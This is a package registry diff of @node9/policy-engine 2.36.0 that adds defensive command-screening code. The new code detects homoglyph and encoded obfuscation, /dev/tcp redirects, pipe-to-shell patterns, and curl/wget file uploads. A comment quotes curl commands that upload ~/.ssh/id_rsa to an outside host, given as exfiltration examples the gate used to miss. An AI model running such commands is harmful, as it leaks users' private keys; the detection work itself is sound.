@node9/policy-engine 2.35.0 → 2.36.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.d.mts +44 -5
- package/dist/index.d.ts +44 -5
- package/dist/index.js +1210 -397
- package/dist/index.mjs +1208 -397
- package/package.json +1 -1
package/dist/index.mjs
CHANGED
|
@@ -1015,6 +1015,17 @@ function classifySsrf(host2) {
|
|
|
1015
1015
|
return null;
|
|
1016
1016
|
}
|
|
1017
1017
|
}
|
|
1018
|
+
function isDisguisedSpelling(asWritten, normalized) {
|
|
1019
|
+
let s = asWritten.trim().toLowerCase().replace(/\.$/, "");
|
|
1020
|
+
if (s.startsWith("[") && s.endsWith("]")) s = s.slice(1, -1);
|
|
1021
|
+
if (s === normalized) return false;
|
|
1022
|
+
const parts = s.split(".");
|
|
1023
|
+
const shorthand = parts.length >= 2 && parts.length <= 3 && parts.every((p) => /^(?:0|[1-9][0-9]*)$/.test(p));
|
|
1024
|
+
return !shorthand;
|
|
1025
|
+
}
|
|
1026
|
+
function ssrfDisguisedReason(m, asWritten) {
|
|
1027
|
+
return `${asWritten} is ${TIER_REASON[m.tier]} written in a disguised form` + (m.normalized ? ` (${m.normalized})` : "") + ". Plain spellings of it are allowed; this one needs a look.";
|
|
1028
|
+
}
|
|
1018
1029
|
function ssrfExemptMatches(entries, normalized) {
|
|
1019
1030
|
if (!entries?.length || !normalized) return false;
|
|
1020
1031
|
const target = bitsOf(normalized);
|
|
@@ -1059,12 +1070,26 @@ function ssrfFloor(tokens, opts = {}) {
|
|
|
1059
1070
|
for (const { token, binary } of tokens) {
|
|
1060
1071
|
const m = classifySsrf(token);
|
|
1061
1072
|
if (!m) continue;
|
|
1062
|
-
|
|
1063
|
-
if (
|
|
1064
|
-
return {
|
|
1073
|
+
const decision = ssrfFloorDecision(m, token, opts);
|
|
1074
|
+
if (decision === null) continue;
|
|
1075
|
+
return {
|
|
1076
|
+
...m,
|
|
1077
|
+
host: token,
|
|
1078
|
+
binary,
|
|
1079
|
+
decision,
|
|
1080
|
+
reason: decision === "review" ? ssrfDisguisedReason(m, token) : ssrfReason(m, token)
|
|
1081
|
+
};
|
|
1065
1082
|
}
|
|
1066
1083
|
return null;
|
|
1067
1084
|
}
|
|
1085
|
+
function ssrfFloorDecision(m, asWritten, opts) {
|
|
1086
|
+
if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) return null;
|
|
1087
|
+
if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) {
|
|
1088
|
+
if (opts.allowPrivate || m.kind !== "address" || !m.normalized) return null;
|
|
1089
|
+
return isDisguisedSpelling(asWritten, m.normalized) ? "review" : null;
|
|
1090
|
+
}
|
|
1091
|
+
return "block";
|
|
1092
|
+
}
|
|
1068
1093
|
|
|
1069
1094
|
// src/catalog-text.ts
|
|
1070
1095
|
var CHECK_TEXT = {
|
|
@@ -1933,6 +1958,141 @@ import pm from "picomatch";
|
|
|
1933
1958
|
|
|
1934
1959
|
// src/shell/index.ts
|
|
1935
1960
|
import mvdanSh from "mvdan-sh";
|
|
1961
|
+
|
|
1962
|
+
// src/dlp/normalize.ts
|
|
1963
|
+
var INVISIBLE_RE = /[͏----︀-️]|[\u{E0000}-\u{E007F}]/gu;
|
|
1964
|
+
function isInvisibleChar(char) {
|
|
1965
|
+
return INVISIBLE_ONE.test(char);
|
|
1966
|
+
}
|
|
1967
|
+
var INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
|
|
1968
|
+
function stripInvisible(text) {
|
|
1969
|
+
return text.replace(INVISIBLE_RE, "");
|
|
1970
|
+
}
|
|
1971
|
+
var HOMOGLYPHS = {
|
|
1972
|
+
// Cyrillic lowercase
|
|
1973
|
+
\u0430: "a",
|
|
1974
|
+
\u0435: "e",
|
|
1975
|
+
\u043E: "o",
|
|
1976
|
+
\u0440: "p",
|
|
1977
|
+
\u0441: "c",
|
|
1978
|
+
\u0443: "y",
|
|
1979
|
+
\u0445: "x",
|
|
1980
|
+
\u0456: "i",
|
|
1981
|
+
\u0458: "j",
|
|
1982
|
+
\u0455: "s",
|
|
1983
|
+
"\u0501": "d",
|
|
1984
|
+
"\u051B": "q",
|
|
1985
|
+
"\u051D": "w",
|
|
1986
|
+
\u04BB: "h",
|
|
1987
|
+
\u0261: "g",
|
|
1988
|
+
\u0451: "e",
|
|
1989
|
+
"\u04CF": "l",
|
|
1990
|
+
"\u217C": "l",
|
|
1991
|
+
// Cyrillic uppercase
|
|
1992
|
+
\u0410: "A",
|
|
1993
|
+
\u0412: "B",
|
|
1994
|
+
\u0415: "E",
|
|
1995
|
+
\u041A: "K",
|
|
1996
|
+
\u041C: "M",
|
|
1997
|
+
\u041D: "H",
|
|
1998
|
+
\u041E: "O",
|
|
1999
|
+
\u0420: "P",
|
|
2000
|
+
\u0421: "C",
|
|
2001
|
+
\u0422: "T",
|
|
2002
|
+
\u0425: "X",
|
|
2003
|
+
\u0405: "S",
|
|
2004
|
+
\u0406: "I",
|
|
2005
|
+
\u0408: "J",
|
|
2006
|
+
\u04AE: "Y",
|
|
2007
|
+
"\u051A": "Q",
|
|
2008
|
+
"\u051C": "W",
|
|
2009
|
+
// Greek lowercase
|
|
2010
|
+
\u03B1: "a",
|
|
2011
|
+
\u03BF: "o",
|
|
2012
|
+
\u03BD: "v",
|
|
2013
|
+
\u03B5: "e",
|
|
2014
|
+
\u03B9: "i",
|
|
2015
|
+
\u03BA: "k",
|
|
2016
|
+
\u03C1: "p",
|
|
2017
|
+
\u03C4: "t",
|
|
2018
|
+
\u03C5: "u",
|
|
2019
|
+
\u03C7: "x",
|
|
2020
|
+
\u03B3: "y",
|
|
2021
|
+
// Greek uppercase
|
|
2022
|
+
\u0391: "A",
|
|
2023
|
+
\u0392: "B",
|
|
2024
|
+
\u0395: "E",
|
|
2025
|
+
\u0396: "Z",
|
|
2026
|
+
\u0397: "H",
|
|
2027
|
+
\u0399: "I",
|
|
2028
|
+
\u039A: "K",
|
|
2029
|
+
\u039C: "M",
|
|
2030
|
+
\u039D: "N",
|
|
2031
|
+
\u039F: "O",
|
|
2032
|
+
\u03A1: "P",
|
|
2033
|
+
\u03A4: "T",
|
|
2034
|
+
\u03A5: "Y",
|
|
2035
|
+
\u03A7: "X"
|
|
2036
|
+
};
|
|
2037
|
+
var HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
|
|
2038
|
+
function foldHomoglyphs(text) {
|
|
2039
|
+
return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
|
|
2040
|
+
}
|
|
2041
|
+
function normalizeForScan(text) {
|
|
2042
|
+
return foldHomoglyphs(stripInvisible(text));
|
|
2043
|
+
}
|
|
2044
|
+
var MAX_BLOBS = 32;
|
|
2045
|
+
var MIN_DECODED = 16;
|
|
2046
|
+
function looksLikeText(buf) {
|
|
2047
|
+
if (buf.length < MIN_DECODED) return false;
|
|
2048
|
+
let printable = 0;
|
|
2049
|
+
for (const b of buf) {
|
|
2050
|
+
if (b >= 32 && b <= 126 || b === 10 || b === 13 || b === 9) printable++;
|
|
2051
|
+
}
|
|
2052
|
+
return printable / buf.length >= 0.9;
|
|
2053
|
+
}
|
|
2054
|
+
var BASE64_RUN_RE = /[A-Za-z0-9+/]{32,}={0,2}|[A-Za-z0-9_-]{32,}/g;
|
|
2055
|
+
function decodeEmbeddedBase64(text) {
|
|
2056
|
+
const out = [];
|
|
2057
|
+
for (const m of text.matchAll(BASE64_RUN_RE)) {
|
|
2058
|
+
if (out.length >= MAX_BLOBS) break;
|
|
2059
|
+
const run = m[0];
|
|
2060
|
+
if (/^[0-9a-fA-F]+$/.test(run)) continue;
|
|
2061
|
+
const buf = Buffer.from(run, "base64");
|
|
2062
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
2063
|
+
}
|
|
2064
|
+
return out;
|
|
2065
|
+
}
|
|
2066
|
+
var HEX_RUN_RE = /\b(?:[0-9a-fA-F]{2}){24,}\b/g;
|
|
2067
|
+
var HEX_ESCAPE_RUN_RE = /(?:\\x[0-9a-fA-F]{2}){16,}/g;
|
|
2068
|
+
function decodeEmbeddedHex(text) {
|
|
2069
|
+
const out = [];
|
|
2070
|
+
for (const m of text.matchAll(HEX_RUN_RE)) {
|
|
2071
|
+
if (out.length >= MAX_BLOBS) break;
|
|
2072
|
+
const buf = Buffer.from(m[0], "hex");
|
|
2073
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
2074
|
+
}
|
|
2075
|
+
for (const m of text.matchAll(HEX_ESCAPE_RUN_RE)) {
|
|
2076
|
+
if (out.length >= MAX_BLOBS) break;
|
|
2077
|
+
const buf = Buffer.from(m[0].replace(/\\x/g, ""), "hex");
|
|
2078
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
2079
|
+
}
|
|
2080
|
+
return out;
|
|
2081
|
+
}
|
|
2082
|
+
function scanViews(text) {
|
|
2083
|
+
const views = [{ kind: "original", text }];
|
|
2084
|
+
const normalized = normalizeForScan(text);
|
|
2085
|
+
if (normalized !== text) views.push({ kind: "normalized", text: normalized });
|
|
2086
|
+
for (const t of decodeEmbeddedBase64(normalized)) {
|
|
2087
|
+
views.push({ kind: "base64", text: normalizeForScan(t) });
|
|
2088
|
+
}
|
|
2089
|
+
for (const t of decodeEmbeddedHex(normalized)) {
|
|
2090
|
+
views.push({ kind: "hex", text: normalizeForScan(t) });
|
|
2091
|
+
}
|
|
2092
|
+
return views;
|
|
2093
|
+
}
|
|
2094
|
+
|
|
2095
|
+
// src/shell/index.ts
|
|
1936
2096
|
var { syntax } = mvdanSh;
|
|
1937
2097
|
var sharedParser = syntax.NewParser();
|
|
1938
2098
|
var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
@@ -2040,14 +2200,79 @@ function normalizeCommandForPolicy(command) {
|
|
|
2040
2200
|
}
|
|
2041
2201
|
function commandReadings(command) {
|
|
2042
2202
|
const r = commandReadingsImpl(command);
|
|
2043
|
-
|
|
2203
|
+
const out = /* @__PURE__ */ new Set([r.posix, r.separator, r.folded]);
|
|
2204
|
+
for (const payload of literalPayloadsOf(r.posix, 0)) {
|
|
2205
|
+
for (const reading of commandReadings(payload)) out.add(reading);
|
|
2206
|
+
}
|
|
2207
|
+
return [...out];
|
|
2208
|
+
}
|
|
2209
|
+
var MAX_READING_PAYLOADS = 8;
|
|
2210
|
+
function literalPayloadsOf(command, depth) {
|
|
2211
|
+
if (depth > 0 || !/\b(?:sh|bash|zsh|dash|ksh|eval)\b/.test(command)) return [];
|
|
2212
|
+
const f = parseShared(command);
|
|
2213
|
+
if (f === PARSE_FAIL) return [];
|
|
2214
|
+
const out = [];
|
|
2215
|
+
try {
|
|
2216
|
+
syntax.Walk(f, (node) => {
|
|
2217
|
+
if (!node || out.length >= MAX_READING_PAYLOADS) return false;
|
|
2218
|
+
const n = node;
|
|
2219
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
2220
|
+
const words = (n.Args || []).map((a) => resolveWordLiteral(a));
|
|
2221
|
+
if (words.length === 0) return true;
|
|
2222
|
+
const payload = literalShellPayload(words, baseWord(words[0]));
|
|
2223
|
+
if (payload !== null && payload !== command) out.push(payload);
|
|
2224
|
+
return true;
|
|
2225
|
+
});
|
|
2226
|
+
} catch {
|
|
2227
|
+
return out;
|
|
2228
|
+
}
|
|
2229
|
+
return out;
|
|
2230
|
+
}
|
|
2231
|
+
function foldCommandWords(reading) {
|
|
2232
|
+
if (!/[^\x00-\x7f]/.test(reading)) return reading;
|
|
2233
|
+
const f = parseShared(reading);
|
|
2234
|
+
if (f === PARSE_FAIL) return reading;
|
|
2235
|
+
const toCharIndex = byteOffsetToCharIndex(reading);
|
|
2236
|
+
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
2237
|
+
const edits = [];
|
|
2238
|
+
try {
|
|
2239
|
+
syntax.Walk(f, (node) => {
|
|
2240
|
+
if (!node) return false;
|
|
2241
|
+
const n = node;
|
|
2242
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
2243
|
+
const args = n.Args || [];
|
|
2244
|
+
const words = args.map((a) => resolveWordLiteral(a));
|
|
2245
|
+
const folded = words.map((w) => w === null ? null : foldHomoglyphs(w));
|
|
2246
|
+
const head = unwrapCommandHead(folded);
|
|
2247
|
+
for (let i = 0; i <= head && i < args.length; i++) {
|
|
2248
|
+
const parts = args[i].Parts || [];
|
|
2249
|
+
if (parts.length !== 1 || syntax.NodeType(parts[0]) !== "Lit") continue;
|
|
2250
|
+
const value = parts[0].Value ?? "";
|
|
2251
|
+
const word = folded[i];
|
|
2252
|
+
if (word === null || word === value || !/[^\x00-\x7f]/.test(value)) continue;
|
|
2253
|
+
if (!/^[A-Za-z0-9._/-]+$/.test(word)) continue;
|
|
2254
|
+
const s = at(args[i].Pos().Offset());
|
|
2255
|
+
const e = at(args[i].End().Offset());
|
|
2256
|
+
if (s < 0 || e < 0) continue;
|
|
2257
|
+
edits.push([s, e, word]);
|
|
2258
|
+
}
|
|
2259
|
+
return true;
|
|
2260
|
+
});
|
|
2261
|
+
} catch {
|
|
2262
|
+
return reading;
|
|
2263
|
+
}
|
|
2264
|
+
if (edits.length === 0) return reading;
|
|
2265
|
+
edits.sort((a, b) => b[0] - a[0]);
|
|
2266
|
+
let out = reading;
|
|
2267
|
+
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
2268
|
+
return out;
|
|
2044
2269
|
}
|
|
2045
2270
|
function commandReadingsImpl(command) {
|
|
2046
2271
|
return cachedNormalize(command, () => normalizeCommandForPolicyImpl(command));
|
|
2047
2272
|
}
|
|
2048
2273
|
function normalizeCommandForPolicyImpl(command) {
|
|
2049
2274
|
const f = parseShared(command);
|
|
2050
|
-
if (f === PARSE_FAIL) return { posix: command, separator: command };
|
|
2275
|
+
if (f === PARSE_FAIL) return { posix: command, separator: command, folded: command };
|
|
2051
2276
|
try {
|
|
2052
2277
|
const toCharIndex = byteOffsetToCharIndex(command);
|
|
2053
2278
|
const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
|
|
@@ -2115,9 +2340,10 @@ function normalizeCommandForPolicyImpl(command) {
|
|
|
2115
2340
|
for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
|
|
2116
2341
|
return out;
|
|
2117
2342
|
};
|
|
2118
|
-
|
|
2343
|
+
const posix = apply(rewrites);
|
|
2344
|
+
return { posix, separator: apply(quoteOnlyRewrites), folded: foldCommandWords(posix) };
|
|
2119
2345
|
} catch {
|
|
2120
|
-
return { posix: command, separator: command };
|
|
2346
|
+
return { posix: command, separator: command, folded: command };
|
|
2121
2347
|
}
|
|
2122
2348
|
}
|
|
2123
2349
|
function scanArgsForDynamicExec(args, startIdx) {
|
|
@@ -2687,6 +2913,27 @@ var FILE_OPERAND_FLAGS = {
|
|
|
2687
2913
|
sort: /* @__PURE__ */ new Set(["--files0-from"])
|
|
2688
2914
|
};
|
|
2689
2915
|
var SCP_VALUE_FLAGS = ["i", "F", "o", "c", "S", "P", "J", "D", "W", "l"];
|
|
2916
|
+
var CURL_SOURCE_FLAGS = [
|
|
2917
|
+
"T",
|
|
2918
|
+
"--upload-file",
|
|
2919
|
+
"d",
|
|
2920
|
+
"--data",
|
|
2921
|
+
"--data-binary",
|
|
2922
|
+
"--data-ascii",
|
|
2923
|
+
"--data-urlencode",
|
|
2924
|
+
"--json",
|
|
2925
|
+
"F",
|
|
2926
|
+
"--form"
|
|
2927
|
+
];
|
|
2928
|
+
var CURL_VALUE_LETTERS = "dFTHouXAebcKEmwxUrQtCPDyYz".split("");
|
|
2929
|
+
var WGET_VALUE_LETTERS = "OoaiBtTwQPeUARDIl".split("");
|
|
2930
|
+
function curlSourceOperand(flag, value) {
|
|
2931
|
+
const file = (f) => f && f !== "-" && f !== "." ? f : null;
|
|
2932
|
+
if (flag === "-T" || flag === "--upload-file") return file(value);
|
|
2933
|
+
if (flag === "--data-urlencode") return file(/^[^=@]*@(.+)$/.exec(value)?.[1]);
|
|
2934
|
+
if (flag === "-F" || flag === "--form") return file(/^[^=]*=[@<]([^;]+)/.exec(value)?.[1]);
|
|
2935
|
+
return value.startsWith("@") ? file(value.slice(1)) : null;
|
|
2936
|
+
}
|
|
2690
2937
|
var TAR_VALUE_LETTERS = ["b", "C", "f", "F", "g", "H", "I", "K", "L", "N", "T", "V", "X"];
|
|
2691
2938
|
var ZIP_VALUE_LETTERS = ["b", "n", "P", "t", "s", "O", "x", "i"];
|
|
2692
2939
|
var RSYNC_VALUE_LETTERS = ["e", "f", "T", "B", "M"];
|
|
@@ -2743,7 +2990,25 @@ var COPY_VERBS = {
|
|
|
2743
2990
|
"aws s3 mv": { source: "allButLast" },
|
|
2744
2991
|
"aws s3 sync": { source: "allButLast" },
|
|
2745
2992
|
"gcloud storage cp": { source: "allButLast" },
|
|
2746
|
-
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] }
|
|
2993
|
+
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] },
|
|
2994
|
+
// An HTTP upload is a copy out of the jail with the network as its
|
|
2995
|
+
// destination (fw#372 A2). Measured at the real gate before this row:
|
|
2996
|
+
// `curl -T ~/.ssh/id_rsa https://x/` and `curl -d @~/.ssh/id_rsa https://x/`
|
|
2997
|
+
// were ALLOWED in the shipped default (egress off, no taint on the file),
|
|
2998
|
+
// while `cp ~/.ssh/id_rsa /tmp/k` reviewed. The same slot model as the other
|
|
2999
|
+
// flagOperand verb; the read tier never saw curl because it prints nothing.
|
|
3000
|
+
// `--key`/`--cert` USE a file for TLS, like `ssh -i`, and stay quiet.
|
|
3001
|
+
curl: {
|
|
3002
|
+
source: "flagOperand",
|
|
3003
|
+
sourceFlags: CURL_SOURCE_FLAGS,
|
|
3004
|
+
sourceOperand: curlSourceOperand,
|
|
3005
|
+
valueLetters: CURL_VALUE_LETTERS
|
|
3006
|
+
},
|
|
3007
|
+
wget: {
|
|
3008
|
+
source: "flagOperand",
|
|
3009
|
+
sourceFlags: ["--post-file", "--body-file"],
|
|
3010
|
+
valueLetters: WGET_VALUE_LETTERS
|
|
3011
|
+
}
|
|
2747
3012
|
};
|
|
2748
3013
|
var TAR_MODE_WORD = /^[a-zA-Z]+$/;
|
|
2749
3014
|
var COPY_VERB_HEADS = new Set(Object.keys(COPY_VERBS).map((k) => k.split(" ")[0]));
|
|
@@ -3116,13 +3381,19 @@ function inlineExecStmt(stmt, pipeFed) {
|
|
|
3116
3381
|
}
|
|
3117
3382
|
let positionals2 = 0;
|
|
3118
3383
|
let selectedProgram = false;
|
|
3119
|
-
for (
|
|
3384
|
+
for (let i = 0; i < args.length; i++) {
|
|
3385
|
+
const a = args[i];
|
|
3120
3386
|
if (a == null) {
|
|
3121
3387
|
positionals2++;
|
|
3122
3388
|
selectedProgram = true;
|
|
3123
3389
|
continue;
|
|
3124
3390
|
}
|
|
3125
|
-
if (!selectedProgram && isInlineCodeFlag(interp, a))
|
|
3391
|
+
if (!selectedProgram && isInlineCodeFlag(interp, a)) {
|
|
3392
|
+
if (!/^(bash|sh|zsh|dash|ksh)$/.test(interp)) return true;
|
|
3393
|
+
const payload = args[i + 1];
|
|
3394
|
+
if (payload == null) return true;
|
|
3395
|
+
return shellPayloadNeedsReview(payload);
|
|
3396
|
+
}
|
|
3126
3397
|
if (a === "-m") {
|
|
3127
3398
|
selectedProgram = true;
|
|
3128
3399
|
continue;
|
|
@@ -3140,6 +3411,47 @@ function inlineExecStmt(stmt, pipeFed) {
|
|
|
3140
3411
|
}
|
|
3141
3412
|
return false;
|
|
3142
3413
|
}
|
|
3414
|
+
var MAX_PAYLOAD_NESTING = 8;
|
|
3415
|
+
var payloadNesting = 0;
|
|
3416
|
+
function shellPayloadNeedsReview(payload) {
|
|
3417
|
+
if (payloadNesting >= MAX_PAYLOAD_NESTING) return true;
|
|
3418
|
+
const f = parseShared(payload);
|
|
3419
|
+
if (f === PARSE_FAIL) return true;
|
|
3420
|
+
let review = false;
|
|
3421
|
+
payloadNesting++;
|
|
3422
|
+
try {
|
|
3423
|
+
syntax.Walk(f, (node) => {
|
|
3424
|
+
if (!node || review) return false;
|
|
3425
|
+
const n = node;
|
|
3426
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
3427
|
+
const words = (n.Args || []).map((a) => resolveWordLiteral(a));
|
|
3428
|
+
if (words.length === 0) return true;
|
|
3429
|
+
const h = unwrapCommandHead(words);
|
|
3430
|
+
const head = words[h];
|
|
3431
|
+
if (head === null || head === void 0) {
|
|
3432
|
+
review = true;
|
|
3433
|
+
return false;
|
|
3434
|
+
}
|
|
3435
|
+
const name = head.split("/").pop()?.toLowerCase() ?? "";
|
|
3436
|
+
if (name === "eval" || name === "source" || name === ".") {
|
|
3437
|
+
review = true;
|
|
3438
|
+
return false;
|
|
3439
|
+
}
|
|
3440
|
+
return true;
|
|
3441
|
+
});
|
|
3442
|
+
if (!review && detectDangerousShellExec(payload) !== null) review = true;
|
|
3443
|
+
if (!review && /\|\s*(?:[\w./-]*\/)?(?:ba|z|da|k|c|fi)?sh\b|\|\s*(?:python[\d.]*|node|perl|ruby|php)\b/i.test(
|
|
3444
|
+
payload
|
|
3445
|
+
))
|
|
3446
|
+
review = true;
|
|
3447
|
+
if (!review && detectInlineExec(payload)) review = true;
|
|
3448
|
+
} catch {
|
|
3449
|
+
review = true;
|
|
3450
|
+
} finally {
|
|
3451
|
+
payloadNesting--;
|
|
3452
|
+
}
|
|
3453
|
+
return review;
|
|
3454
|
+
}
|
|
3143
3455
|
function detectInlineExec(command) {
|
|
3144
3456
|
const f = parseShared(command);
|
|
3145
3457
|
if (f === PARSE_FAIL) {
|
|
@@ -3220,12 +3532,81 @@ function positionedArgs(words, from = 1, to = words.length) {
|
|
|
3220
3532
|
function extractLiteralArgs(callExpr) {
|
|
3221
3533
|
const rawArgs = callExpr.Args || [];
|
|
3222
3534
|
if (rawArgs.length === 0) return { name: "", flags: [], paths: [], words: [], args: [] };
|
|
3223
|
-
const words = rawArgs.map((a) => resolveWordLiteral(a));
|
|
3535
|
+
const words = rawArgs.map((a) => windowsDrivePathSpelling(a) ?? resolveWordLiteral(a));
|
|
3224
3536
|
const name = baseWord(words[0]);
|
|
3225
3537
|
const flags = words.slice(1).filter((w) => w !== null && w.startsWith("-"));
|
|
3226
3538
|
const args = positionedArgs(words);
|
|
3227
3539
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
3228
3540
|
}
|
|
3541
|
+
var SCRIPT_RUNNERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "dash", "ksh", "source", "."]);
|
|
3542
|
+
var SCRIPT_RUNNER_VALUE_FLAGS = /* @__PURE__ */ new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]);
|
|
3543
|
+
var MAX_SCRIPT_OPERANDS = 8;
|
|
3544
|
+
function shellScriptOperands(command) {
|
|
3545
|
+
const f = parseShared(command);
|
|
3546
|
+
if (f === PARSE_FAIL) return [];
|
|
3547
|
+
const out = [];
|
|
3548
|
+
const seen = /* @__PURE__ */ new Set();
|
|
3549
|
+
const add = (p) => {
|
|
3550
|
+
if (!p || p.startsWith("-") || seen.has(p) || out.length >= MAX_SCRIPT_OPERANDS) return;
|
|
3551
|
+
if (/(^|[\\/])node_modules[\\/]|[\\/]\.bin[\\/]/.test(p)) return;
|
|
3552
|
+
seen.add(p);
|
|
3553
|
+
out.push(p);
|
|
3554
|
+
};
|
|
3555
|
+
try {
|
|
3556
|
+
walkWithCalls(f, (node) => {
|
|
3557
|
+
if (!node) return false;
|
|
3558
|
+
const n = node;
|
|
3559
|
+
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
3560
|
+
const callArgs = n.Args || [];
|
|
3561
|
+
if (callArgs.length === 0) return true;
|
|
3562
|
+
const words = callArgs.map((a) => resolveWordLiteral(a));
|
|
3563
|
+
const h = unwrapCommandHead(words);
|
|
3564
|
+
const headWord = words[h];
|
|
3565
|
+
if (headWord === null || headWord === void 0) return true;
|
|
3566
|
+
const name = baseWord(headWord);
|
|
3567
|
+
if (SCRIPT_RUNNERS.has(name)) {
|
|
3568
|
+
for (let i = h + 1; i < words.length; i++) {
|
|
3569
|
+
const w = words[i];
|
|
3570
|
+
if (w === null) return true;
|
|
3571
|
+
if (w === "-c" || w === "-lc" || w === "-ec") return true;
|
|
3572
|
+
if (w === "--") {
|
|
3573
|
+
add(words[i + 1] ?? null);
|
|
3574
|
+
return true;
|
|
3575
|
+
}
|
|
3576
|
+
if (w.startsWith("-") || w.startsWith("+")) {
|
|
3577
|
+
if (SCRIPT_RUNNER_VALUE_FLAGS.has(w)) i++;
|
|
3578
|
+
continue;
|
|
3579
|
+
}
|
|
3580
|
+
add(w);
|
|
3581
|
+
return true;
|
|
3582
|
+
}
|
|
3583
|
+
return true;
|
|
3584
|
+
}
|
|
3585
|
+
if (/[\\/]/.test(headWord)) add(headWord);
|
|
3586
|
+
return true;
|
|
3587
|
+
});
|
|
3588
|
+
} catch {
|
|
3589
|
+
return out;
|
|
3590
|
+
}
|
|
3591
|
+
return out;
|
|
3592
|
+
}
|
|
3593
|
+
function windowsDrivePathSpelling(word) {
|
|
3594
|
+
const parts = word?.Parts || [];
|
|
3595
|
+
if (parts.length === 0 || !parts.every((p) => syntax.NodeType(p) === "Lit")) return null;
|
|
3596
|
+
const raw = parts.map((p) => p.Value ?? "").join("");
|
|
3597
|
+
return /^[A-Za-z]:\\[^\s'"$`]*$/.test(raw) ? raw : null;
|
|
3598
|
+
}
|
|
3599
|
+
function devNetRedirectHost(word) {
|
|
3600
|
+
if (!word) return null;
|
|
3601
|
+
const m = /^\/dev\/(tcp|udp)\/([^/\s]+)\/([^/\s]+)$/i.exec(word.trim());
|
|
3602
|
+
if (!m) return null;
|
|
3603
|
+
const host2 = m[2].toLowerCase();
|
|
3604
|
+
return host2.length <= 253 ? host2 : null;
|
|
3605
|
+
}
|
|
3606
|
+
function redirectWords(stmt) {
|
|
3607
|
+
const redirs = stmt.Redirs || [];
|
|
3608
|
+
return redirs.filter((r) => r && r.Word).map((r) => resolveWordLiteral(r.Word));
|
|
3609
|
+
}
|
|
3229
3610
|
var NET_BINARIES = /* @__PURE__ */ new Set([
|
|
3230
3611
|
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
3231
3612
|
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
@@ -3748,7 +4129,18 @@ function extractShellDestinations(command) {
|
|
|
3748
4129
|
() => walkWithCalls(f, (node) => {
|
|
3749
4130
|
if (!node) return false;
|
|
3750
4131
|
const n = node;
|
|
3751
|
-
if (syntax.NodeType(n) === "Stmt")
|
|
4132
|
+
if (syntax.NodeType(n) === "Stmt") {
|
|
4133
|
+
trackStatement(n);
|
|
4134
|
+
for (const raw of redirectWords(n)) {
|
|
4135
|
+
const host2 = devNetRedirectHost(raw);
|
|
4136
|
+
if (!host2) continue;
|
|
4137
|
+
const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
|
|
4138
|
+
const key = `${binary}:${host2}`;
|
|
4139
|
+
if (seen.has(key)) continue;
|
|
4140
|
+
seen.add(key);
|
|
4141
|
+
out.push({ host: host2, binary, raw });
|
|
4142
|
+
}
|
|
4143
|
+
}
|
|
3752
4144
|
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
3753
4145
|
const callArgs = n.Args || [];
|
|
3754
4146
|
if (callArgs.length === 0) return true;
|
|
@@ -3784,7 +4176,18 @@ function extractShellDestTokens(command) {
|
|
|
3784
4176
|
() => walkWithCalls(f, (node) => {
|
|
3785
4177
|
if (!node) return false;
|
|
3786
4178
|
const n = node;
|
|
3787
|
-
if (syntax.NodeType(n) === "Stmt")
|
|
4179
|
+
if (syntax.NodeType(n) === "Stmt") {
|
|
4180
|
+
trackStatement(n);
|
|
4181
|
+
for (const raw of redirectWords(n)) {
|
|
4182
|
+
const host2 = devNetRedirectHost(raw);
|
|
4183
|
+
if (!host2) continue;
|
|
4184
|
+
const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
|
|
4185
|
+
const key = `${binary}:${host2}`;
|
|
4186
|
+
if (seen.has(key)) continue;
|
|
4187
|
+
seen.add(key);
|
|
4188
|
+
out.push({ token: host2, binary });
|
|
4189
|
+
}
|
|
4190
|
+
}
|
|
3788
4191
|
if (syntax.NodeType(n) !== "CallExpr") return true;
|
|
3789
4192
|
const callArgs = n.Args || [];
|
|
3790
4193
|
if (callArgs.length === 0) return true;
|
|
@@ -4136,8 +4539,11 @@ function copySourcePaths(words) {
|
|
|
4136
4539
|
const out = [];
|
|
4137
4540
|
for (const action of findActions(words, fi)) {
|
|
4138
4541
|
const h2 = unwrapCommandHead(action);
|
|
4139
|
-
|
|
4140
|
-
|
|
4542
|
+
const shape2 = resolveCopyShape(action, h2);
|
|
4543
|
+
if (!shape2) continue;
|
|
4544
|
+
const inner = copySourcePaths(action);
|
|
4545
|
+
const startsCopied = shape2.shape.source !== "flagOperand" || inner.some((p) => p.includes("{}"));
|
|
4546
|
+
out.push(...startsCopied ? starts : [], ...inner);
|
|
4141
4547
|
}
|
|
4142
4548
|
return out;
|
|
4143
4549
|
}
|
|
@@ -4193,11 +4599,24 @@ function copySourcePaths(words) {
|
|
|
4193
4599
|
);
|
|
4194
4600
|
return f.letter !== null && names.includes(f.letter);
|
|
4195
4601
|
};
|
|
4196
|
-
const
|
